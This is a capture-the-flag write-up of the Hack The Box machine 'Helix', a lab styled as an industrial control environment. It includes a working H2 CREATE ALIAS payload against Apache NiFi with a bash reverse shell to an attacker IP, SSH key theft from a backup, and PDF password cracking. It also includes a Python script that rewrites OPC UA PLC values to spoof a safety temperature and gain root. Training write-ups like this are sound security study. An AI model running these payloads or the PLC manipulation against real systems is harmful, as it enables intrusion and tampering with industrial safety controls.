HTB-Helix

Pasted image 20260526142321.png700

Overview

Helix is a Linux machine themed around an industrial control systems (ICS) environment, operated by the fictional Helix Industries — an industrial automation and critical infrastructure company. The attack chain involves discovering an exposed Apache NiFi instance, exploiting its ExecuteSQL processor to gain a reverse shell, extracting SSH credentials from a backup file, cracking a password-protected PDF, and finally escalating to root via a privileged maintenance console that is manipulated through an OPC UA exploit script.


Reconnaissance

Nmap Port Scan

nmap -Pn -sC 10.129.26.121

Open Ports:

Port Service Notes
22 SSH ED25519 key fingerprint visible
80 HTTP Title: Helix Industries | Industrial Automation & Critical Infrastruc...

The HTTP title immediately signals an ICS/SCADA-themed machine. The SSH host key (ED25519) fingerprint will become relevant later.

Pasted image 20260526140521.png700

Enumeration

Web Application

Browsing to http://10.129.26.121 revealed the Helix Industries Operations Center — a dark-themed landing page presenting itself as an industrial automation and security firm operational since 2014.

Pasted image 20260526140703.png700

Virtual Host Fuzzing

ffuf -u http://helix.htb/ -H "HOST: FUZZ.helix.htb" \
     -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt \
     -mc 200

Result: flow.helix.htb returned HTTP 200 (Size: 1068, 110 words, 28 lines).

Pasted image 20260526140728.png700

Added to /etc/hosts:

10.129.26.121  helix.htb flow.helix.htb

Initial Access — Apache NiFi RCE

Discovering Apache NiFi

Navigating to http://flow.helix.htb/nifi/ revealed an unauthenticated Apache NiFi 1.21.0 instance. The canvas showed two processors already present:

Pasted image 20260526140809.png700

Exploiting ExecuteSQL — CVE-2023-40037 Context

Reference: mbadanoiu/CVE-2023-40037

Apache NiFi's ExecuteSQL processor can be weaponised by configuring an H2 database connection with a JDBC URL that executes arbitrary Java via CREATE ALIAS. The payload creates a shell execution alias and invokes a reverse shell:

CREATE ALIAS SHELLEXEC AS $ 
void shellexec(String cmd) throws java.io.IOException {
    java.lang.Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
} 
$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.212/5555 0>&1');

Steps:

  1. Configure a new DBCPConnectionPool controller service with the malicious H2 JDBC URL embedding the payload.
  2. Set the ExecuteSQL processor to use this controller service.
  3. Start a netcat listener: nc -lvnp 5555
  4. Run/trigger the processor.

Shell Received

connect to [10.10.14.212] from (UNKNOWN) [10.129.26.121] 48696
nifi@helix:/opt/nifi-1.21.0$

Shell obtained as the nifi service user.

Pasted image 20260526140907.png700


Lateral Movement — SSH as operator

Extracting the Private Key

Searching through NiFi's support bundles directory:

cat support-bundles/operator_id_ed25519.bak

A complete OpenSSH ED25519 private key was embedded in the backup file — the same key type fingerprinted during the initial nmap scan.

Pasted image 20260526140941.png700

SSH Login

# On attacker machine
chmod 600 operator_key
ssh -i operator_key operator@10.129.26.121

Logged in successfully as operator on Ubuntu 22.04.5 LTS.

Home directory contents:

control systems diagram.png
Operator Control & Safety Guide.pdf
user.txt

The user.txt flag was retrieved here.

Pasted image 20260526141011.png700


Post-Exploitation — Cracking the PDF

Downloading the PDF

wget "http://10.129.26.121:8000/Operator%20Control%20%26%20Safety%20Guide.pdf"

Pasted image 20260526141050.png700

Opening the PDF prompted for a password.

Pasted image 20260526141108.png700

pdf2john + John the Ripper

pdf2john "Operator Control & Safety Guide.pdf" > pdf.hash
john pdf.hash --wordlist=/usr/share/wordlists/rockyou.txt

Pasted image 20260526141147.png700
Pasted image 20260526141204.png700
Cracked password: operator1

PDF Contents — Trip Reset Conditions

Section 5 of the document revealed critical PLC safety logic:

A ResetTrip request will only be honoured when all of the following conditions are met:

This section was key to understanding the OPC UA attack surface.

Pasted image 20260526141230.png700


Privilege Escalation — helix-maint-console

Sudo Enumeration

sudo -l

Pasted image 20260526141253.png700

(root) NOPASSWD: /usr/local/sbin/helix-maint-console

The operator user could run the maintenance console binary as root without a password — but it required certain PLC conditions to be met (matching the PDF's trip reset logic).

OPC UA Manipulation

An OPC UA server was running locally on opc.tcp://127.0.0.1:4840/helix/. A custom Python script was written to:

  1. Set the operating mode to MAINTENANCE
  2. Enable TestOverrideTrue
  3. Incrementally ramp CalibrationOffset (15 → 20 → 25 → 30) to push the reported temperature above 295°C — satisfying the maintenance window trigger
import asyncio
from asyncua import Client

async def main():
    url = "opc.tcp://127.0.0.1:4840/helix/"
    async with Client(url=url) as client:
        mode_node        = client.get_node("ns=2;i=12")
        test_override    = client.get_node("ns=2;i=13")
        calibration_node = client.get_node("ns=2;i=6")
        temp_node        = client.get_node("ns=2;i=2")

        await mode_node.write_value("MAINTENANCE")
        await test_override.write_value(True)

        for offset in [15.0, 20.0, 25.0, 30.0]:
            await calibration_node.write_value(offset)
            await asyncio.sleep(1)
            temp = await temp_node.read_value()
            if temp >= 295:
                break

asyncio.run(main())

Note: The script raised a BadAttributeIdInvalid error on the final read_value() call for the temperature node, but the state changes had already been applied — the PLC accepted the manipulated values.

Pasted image 20260526141326.png700

Gaining Root

sudo /usr/local/sbin/helix-maint-console
[+] Privileged maintenance access granted
[!] Window expires in 111 seconds
[!] Session will be terminated automatically
root@helix:/home/operator#

Root shell obtained. root.txt retrieved.

Pasted image 20260526141345.png700


Attack Chain Summary

Nmap scan
└─► HTTP on :80 (helix.htb)
	└─► VHost fuzzing → flow.helix.htb
        └─► Unauthenticated Apache NiFi 1.21.0
            └─► ExecuteSQL + H2 JDBC RCE (CVE-2023-40037)
                └─► Shell as nifi
                        └─► SSH private key in support-bundle backup
                            └─► SSH as operator → user.txt
                                └─► PDF cracked (operator1)
                                    └─► OPC UA node manipulation
                                        └─► sudo helix-maint console
                                            └─► root@helix → root.txt

Key Takeaways


Tools Used

Tool Purpose
nmap Port scanning
ffuf Virtual host fuzzing
Apache NiFi UI ExecuteSQL RCE delivery
nc Reverse shell listener
pdf2john PDF hash extraction
john Password cracking
asyncua (Python) OPC UA node manipulation
ssh Lateral movement & access

Return Home